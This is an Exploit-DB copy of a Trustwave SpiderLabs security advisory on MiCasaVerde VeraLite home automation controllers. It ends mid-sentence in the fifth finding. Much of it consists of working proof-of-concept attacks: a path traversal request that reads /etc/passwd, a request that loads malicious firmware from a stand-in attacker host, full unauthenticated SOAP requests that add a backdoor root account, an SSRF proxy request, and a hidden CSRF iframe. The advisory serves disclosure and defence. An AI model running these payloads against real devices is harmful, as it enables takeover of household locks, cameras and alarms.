Exploit-DB #27286
Description: MiCasaVerde VeraLite 1.5.408 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-08-02
Author: Trustwave's SpiderLabs

Exploit:
Trustwave SpiderLabs Security Advisory TWSL2013-019:
Multiple Vulnerabilities in MiCasaVerde VeraLite

Published: 08/01/13
Version: 1.0

Vendor: MiCasaVerde (http://www.micasaverde.com/)
Product: VeraLite
Version affected:  1.5.408

Product description:
The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product
which centralizes control over home automation devices such as door locks,
window blinds, security cameras, smoke detectors, HVAC systems, lights,
etc.

Finding 1: Path Traversal
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4861
CWE: CWE-23

The VeraLite has a path traversal vulnerability allowing for disclosure of
arbitrary files. This allows an attacker to retrieve the contents of any
file on the system such as the /etc/passwd file which contains the hashed
root password as well as the tech support remote access password if remote
access has been configured.

A proof of concept can be run against a VeraLite by using the following URL:
GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd

On a newly unboxed VeraLite, this shouldn't work as the first part of the
path used by the script doesn't exist, but the directory which must exist
for exploitation to work correctly can be created by using the
store_file.sh script, like so:

GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test

This attack can also be launched through the Internet-based control panel
at cp.mios.com when logged in as either an admin or guest level account.

Finding 2: Insufficient Authorization Checks
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4862
CWE: CWE-285

The VeraLite makes a distinction between Administrator and Guest users such
that Guest users should not be able to make changes to the configuration of
the system. There are several functionalities included in the VeraLite
console available to Guest level users which can be used to escalate
privileges.

A) Firmware update - This allows a guest to push custom firmware to the
unit and can allow for full compromise of the device.

A proof of concept can be seen using the following URL:
GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs

B) Settings backup - This allows a guest to obtain copies of various
sensitive files, including the lighttpd.users file which contains hashed
cp.mios.com passwords, and the passwd file which contains the hashed root
password.

GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1

C) Test Luup code (Lua) - This allows a guest to run Lua code on the
VeraLite as root. A backdoor account can be added with the following POST
request:

POST /port_49451/upnp/control/hag HTTP/1.1
Host: A.B.C.D
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 311
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>


Finding 3: Insufficient Authentication Checks
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4863
CWE: CWE-287

The VeraLite exposes UPnP functionality which allows for Lua code to be run
as root from the LAN without authentication using the RunLua action in the
HomeAutomationGateway service of the HomeAutomationGateway device. A
backdoor account can be added with the following POST request to port
49451:

POST /upnp/control/hag HTTP/1.1
Host: A.B.C.D:49451
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 311
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>

Finding 4: Server-Side Request Forgery
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4864
CWE: CWE-918

The VeraLite will make HTTP requests on behalf of a user using the
/cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of
trustwave.com is as follows:

GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com

This allows an attacker to bypass firewall controls, use the VeraLite as a proxy


Finding 5: Cross-Site Request Forgery
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4865
CWE: CWE-352

The VeraLite does not implement any defense against cross-site request
forgery. A proof of concept as seen below can cause a Vera user to update
their firmware using a custom firmware URL:

<html>
<body>
<iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1">
</iframe>
</body>
</html>

If this PoC was embedded in any web page a targeted user visited, an
attacker would be able to make a